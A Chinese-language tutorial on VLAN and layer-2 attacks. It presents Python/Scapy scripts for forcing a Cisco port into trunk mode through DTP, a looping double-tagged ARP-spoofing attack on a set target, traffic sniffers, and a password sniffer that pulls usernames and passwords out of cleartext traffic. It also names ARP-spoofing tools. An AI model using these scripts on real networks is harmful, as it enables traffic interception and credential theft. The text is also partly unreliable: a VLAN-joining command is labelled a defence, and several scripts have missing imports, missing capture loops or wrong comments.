VLAN 技術提升網路安全性與管理效率的同時,也可能成為攻擊者的目標。DTP 攻擊利用 Cisco 專有協定的漏洞,傳送 Dynamic-Desirable 命令,將裝置埠轉換為 Trunk 埠,竊取 VLAN 流量。防護方法包括停用 DTP 和使用 Port Security 功能限制 MAC 地址數量。ARP 假裝攻擊則透過偽造 ARP 封包欺騙裝置,使攻擊者成為合法通訊物件。文中提供的 Python 程式碼示範如何使用 Scapy 函式庫進行 ARP 假裝攻擊,並介紹 NetCommander、Hacker’s Hideaway ARP Attack Tool 和 Loki 等 ARP 假裝工具。理解 TCP/IP 協定對於網路安全分析至關重要,Wireshark 和 Tcpdump 等工具可監聽和分析網路流量,文中也提供了 Python 監聽器程式碼範例。此外,文章詳細說明瞭如何使用 PCAP 工具捕捉、讀取和寫入封包檔案,以及如何開發密碼嗅探器來捕捉未加密協定的流量,並利用正規表示法比對使用者名稱和密碼。最後,以 Mermaid 語法繪製的流程圖清晰地展示了整個封包分析過程,有助於讀者快速理解和掌握相關技術。

VLAN 及 DTP 攻擊與防護

VLAN 攻擊技術

VLAN(Virtual Local Area Network)技術用於將區域網路分割成多個邏輯子網,從而提升網路的安全性與管理效率。然而,VLAN 也可能成為攻擊者的目標,特別是當攻擊者利用特定技術來篡改或監聽 VLAN 流量時。

DTP 攻擊

DTP(Dynamic Trunking Protocol)是 Cisco 提供的專有協定,允許交換器動態協商埠是否應該成為 Trunk 埠。Trunk 埠通常用於連線交換器和路由器,以分享已知的 VLAN。由於 DTP 缺乏安全措施,攻擊者可以傳送一個 Dynamic-Desirable 命令給啟用 DTP 的裝置,要求其將某個埠變成 Trunk 埠。

#!/usr/bin/env python3

import sys
from scapy.layers.l2 import Dot3, LLC, SNAP
from scapy.contrib.dtp import *

if len(sys.argv) < 2:
    print(sys.argv[0] + " <dev>")
    sys.exit()

negotiate_trunk(iface=sys.argv[1])

內容解密:

上述程式碼展示瞭如何利用 Scapy 函式庫來進行 DTP 攻擊。這段程式碼會檢查命令列引數,如果沒有提供裝置名稱,則會輸出使用方法並離開。否則,它會呼叫 negotiate_trunk 函式來傳送 Dynamic-Desirable 命令,試圖將指定的裝置埠轉換為 Trunk 埠。

防護措施

要防止此類別 VLAN 攻擊,最有效的方法是完全停用 DTP,並且在需要分割網路時使用物理分隔的交換器。此外,可以考慮使用 Port Security 功能來限制每個埠可連線的 MAC 地址數量,從而避免未經授權的裝置連線到網路。

以下是一個簡單的防護範例:

vconfig add enp3s0f1 <vlan-id>
ifconfig enp3s0f1.<vlan-id> <ip_of_vlan> up

ARP 假裝技術

ARP(Address Resolution Protocol)用於將 IP 地址對映到 MAC 地址。ARP 假裝是一種常見的網路攻擊技術,攻擊者透過傳送偽造的 ARP 封包來欺騙其他裝置,使其相信攻擊者是合法的通訊物件。

以下是一段 Python 程式碼範例,展示如何進行 ARP 假裝:

#!/usr/bin/env python3

import time
from scapy.all import sendp, ARP, Ether, Dot1Q

iface = "enp3s0f1"
target_ip = '192.168.13.23'
fake_ip = '192.168.13.5'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2

packet = Ether() / \
         Dot1Q(vlan=our_vlan) / \
         Dot1Q(vlan=target_vlan) / \
         ARP(hwsrc=fake_mac,
             pdst=target_ip,
             psrc=fake_ip,
             op="is-at")

while True:
    sendp(packet, iface=iface)
    time.sleep(10)

內容解密:

這段程式碼展示瞭如何使用 Scapy 函式庫來進行 ARP 假裝攻擊。首先,定義了介面名稱、目標 IP、偽造 IP、偽造 MAC 地址以及 VLAN ID。然後構建了一個 ARP 封包,並將其迴圈傳送到指定的介面上。這樣可以欺騙目標裝置相信攻擊者是合法的通訊物件。

ARP 假裝工具

目前市面上有許多工具可以簡化 ARP 假裝攻擊的過程。以下介紹幾種常見的工具:

NetCommander

NetCommander 是一個簡單的 ARP 假裝工具,它會在網路上搜尋活躍主機並選擇要劫持的連線進行假裝。

Hacker’s Hideaway ARP Attack Tool

這個工具除了支援特定連線的假裝外,還能被動假裝所有來源 IP 的 ARP 請求以及進行 MAC 洪水攻擊。

Loki

Loki 是一個強大的層2和層3攻擊工具,支援多種外掛擴充套件,並且具有友好的圖形介面。它可以進行 ARP 假裝和洪水攻擊、BGP 和 RIP 路由注入等多種攻擊。

TCP/IP 技巧與監聽技術

TCP/IP 是網際網路的核心協定組合,形成了大多數現代電腦網路的基礎。瞭解 TCP/IP 論述與相關技巧對於進行網路安全分析非常重要。

網路監聽工具

使用 Wireshark 或 Tcpdump 這類別監聽工具可以擷取並分析網路流量。這些工具能夠幫助管理員識別未加密的流量並演示其風險。

以下是使用 Python 撰寫簡單監聽器的範例:

#!/usr/bin/env python3

import sys
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder

dev = "enp3s0f1"
filter = "arp"
decoder = EthDecoder()

def handle_packet(hdr, data):
    print(decoder.decode(data))

def usage():
    print(sys.argv[0] + " -i <dev> -f <pcap_filter>")
    sys.exit(1)

try:
    cmd_opts = "f:i:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-f":
        filter = opt[1]
    elif opt[0] == "-i":
        dev = opt[1]

內容解密:

這段程式碼展示瞭如何使用 Python 編寫一個簡單的網路監聽器。首先匯入必要模組並初始化一些引數。然後定義了一個處理封包的函式 handle_packet,這個函式會在每次捕捉到封包時被呼叫。最後解析命令列引數並啟動監聽功能。

網路封包分析與處理

在網路安全與監控中,讀取和寫入 PCAP 封包檔案是非常重要的技能。這些封包檔案可以用來捕捉、分析和儲存網路流量,進而進行進一步的安全評估和故障排除。以下是一些關於如何使用 PCAP 捕捉工具來讀取和寫入封包檔案的詳細介紹。

捕捉網路封包

當我們使用 PCAP 工具來捕捉網路封包時,通常會將網路卡設定為混雜模式(promiscuous mode)。這種模式允許網路卡接收所有經過的網路流量,而不僅僅是那些直接傳送給它的封包。這對於網路監控和安全分析非常有幫助。

# 引入必要的模組
import pcapy
from impacket.ImpactDecoder import EthDecoder
from impacket.ImpactPacket import IP, TCP, UDP

# 定義網路卡和過濾器
dev = "enp3s0f1"
filter = "arp"

# 開啟網路卡並設定混雜模式
pcap = pcapy.open_live(dev, 1500, 0, 100)

# 設定 PCAP 過濾器
pcap.setfilter(filter)

# 開始捕捉封包
pcap.loop(0, handle_packet)

內容解密:

這段程式碼首先引入了必要的模組,包括 pcapyimpacket。接著,我們定義了要監聽的網路卡 dev 和要應用的過濾器 filter。在這個例子中,過濾器設定為 arp,這意味著我們只會捕捉 ARP 封包。

pcapy.open_live() 函式用來開啟指定的網路卡並設定混雜模式。引數 1500 是最大封包長度,0 是不使用混雜模式(但通常會設為 1),100 是超時時間(毫秒)。

pcap.setfilter() 函式用來設定過濾條件,這樣我們只會捕捉符合條件的封包。

最後,pcap.loop(0, handle_packet) 函式用來開始捕捉封包。當有新的封包到達時,會呼叫 handle_packet() 函式進行處理。

讀取和寫入 PCAP 檔案

除了實時捕捉網路流量外,我們也可以從現有的 PCAP 檔案中讀取和寫入封包。這對於後續分析和處理非常有幫助。

#!/usr/bin/env python3

import sys
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder
from impacket.ImpactPacket import IP, TCP, UDP

dev = "enp3s0f1"
decoder = EthDecoder()
input_file = None
dump_file = "sniffer.pcap"

def write_packet(hdr, data):
    print(decoder.decode(data))
    dumper.dump(hdr, data)

def read_packet(hdr, data):
    ether = decoder.decode(data)
    if ether.get_ether_type() == IP.ether_type:
        iphdr = ether.child()
        transhdr = iphdr.child()

        if iphdr.get_ip_p() == TCP.protocol:
            print(iphdr.get_ip_src() + ":" + str(transhdr.get_th_sport()) +
                  " -> " + iphdr.get_ip_dst() + ":" + str(transhdr.get_th_dport()))
        elif iphdr.get_ip_p() == UDP.protocol:
            print(iphdr.get_ip_src() + ":" + str(transhdr.get_uh_sport()) +
                  " -> " + iphdr.get_ip_dst() + ":" + str(transhdr.get_uh_dport()))
        else:
            print(iphdr.get_ip_src() + " -> " + iphdr.get_ip_dst() + ": " + str(transhdr))

def usage():
    print(sys.argv[0] + """
    -i <dev>
    -r <input_file>
    -w <output_file> """)
    sys.exit(1)

# 處理命令列引數
try:
    cmd_opts = "i:r:w:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-w":
        dump_file = opt[1]
    elif opt[0] == "-i":
        dev = opt[1]
    elif opt[0] == "-r":
        input_file = opt[1]
    else:
        usage()

# 根據引數決定是否讀取或寫入 PCAP 檔案
if input_file is None:
    pcap = pcapy.open_live(dev, 1500, 0, 100)
    dumper = pcap.dump_open(dump_file)
    pcap.loop(0, write_packet)
else:
    pcap = pcapy.open_offline(input_file)
    pcap.loop(0, read_packet)

內容解密:

這段程式碼主要完成了兩個功能:從網路卡捕捉封包並寫入 PCAP 檔案,以及從現有的 PCAP 檔案中讀取並解碼封包。

首先,我們引入了必要的模組並定義了一些初始變數,包括要監聽的網路卡 dev、解碼器 decoder、輸入檔案 input_file 和輸出檔案 dump_file

write_packet() 函式用來處理捕捉到的每個封包。它會解碼封包並將其寫入指定的 PCAP 檔案。

read_packet() 函式則用來處理從 PCAP 檔案中讀取到的每個封包。它會解碼封包並根據其型別(TCP 或 UDP)列印相關資訊。

在命令列引數處理部分,我們使用 getopt 模組來解析命令列引數。根據不同的引數,我們決定是否要從網路卡捕捉封包並寫入 PCAP 檔案,或者從現有的 PCAP 檔案中讀取並解碼封包。

密碼嗅探器

為了展示未加密協定的風險,我們可以開發一個密碼嗅探器。這個工具會捕捉網路流量並尋找可能包含使用者名稱和密碼的資料。

#!/usr/bin/env python3

import sys
import re
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder, IPDecoder, TCPDecoder

# 介面要監聽
dev = "enp3s0f1"
decoder = EthDecoder()
input_file = None

def handle_packet(hdr, data):
    ether = decoder.decode(data)
    if ether.get_ether_type() == IP.ether_type:
        iphdr = ether.child()
        if iphdr.get_ip_p() == TCP.protocol:
            tcphdr = iphdr.child()
            payload = tcphdr.child().get_data_as_string()
            match_username_password(payload)

def match_username_password(payload):
    # 預先定義一些常見登入格式模式範例
    patterns = [
        b"username=([^&]+)&password=([^&]+)",
        b"login=(.*?)&pwd=(.*?)",
        b"user=(.*?)&pass=(.*?)"
    ]
    for pattern in patterns:
        match = re.search(pattern, payload)
        if match:
            print("可能找到使用者名稱和密碼:")
            print("使用者名稱:", match.group(1).decode('utf-8'))
            print("密碼:", match.group(2).decode('utf-8'))

def usage():
    print(sys.argv[0] + """
    -i <dev>
    -r <input_file> """)
    sys.exit(1)

try:
    cmd_opts = "i:r:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-i":
        dev = opt[1]
    elif opt[0] == "-r":
        input_file = opt[1]
    else:
        usage()

if input_file is None:
    pcap = pcapy.open_live(dev, 1500, 1, 100)
else:
    pcap = pcapy.open_offline(input_file)

pcap.loop(0, handle_packet)

內容解密:

這段程式碼展示了一個簡單的密碼嗅探器。它會捕捉 TCP 流量並尋找可能包含使用者名稱和密碼的資料。

首先,我們引入了必要的模組並定義了一些初始變數,包括要監聽的網路卡 dev 和輸入檔案 input_file

handle_packet() 函式用來處理每個捕捉到的 TCP 型別之IP 複合物(複合物即為IP與TCP之結合),它會解碼 IP 和 TCP 資料並將負載傳遞給 match_username_password() 函式進行分析。

match_username_password() 函式則負責使用正規表示法(regex)來比對可能包含使用者名稱和密碼的資料。如果找到比對專案,它會列印預出可能的使用者名稱和密碼。

在命令列引數處理部分,我們使用 getopt 模組來解析命令列引數。根據不同的引數,我們決定是否要從網路卡實時捕捉或從已存檔PCAP抓包檢查流量資料。

視覺化流程圖

以下是此圖示用以視覺化整個過程:

  graph TD;
    C[C]
    D[D]
    E[E]
    F[F]
    G[G]
    H[H]
    I[I]
    J[J]
    K[K]
    L[L]
    M[M]
    N[N]
    O[O]
A[開始] --> B{輸入引數處理};
B -->|實時抓取| C{開啟實時抓取};
C --> D{設定過濾條件};
D --> E{開始捕捉};
E --> F{處理每個抓到之TCP流量};
F --> G{解碼IP與TCP負載};
G --> H{比對使用者名稱及密碼};
H --> I{顯示結果};

B -->|讀取PCAP| J{開啟PCAP檔案};
J --> K{開始讀取};
K --> L{處理每個抓到之TCP流量};
L --> M{解碼IP與TCP負載};
M --> N{比對使用者名稱及密碼};
N --> O{顯示結果};

I --> P[結束];
O --> P;

此圖示展示了整個流程,包括輸入引數處理、實時抓取或讀取 PCAP 檔案、設定過濾條件、開始抓取、處理每個抓到之TCP流量、解碼 IP 與 TCP 負載、比對使用者名稱及密碼以及顯示結果等步驟。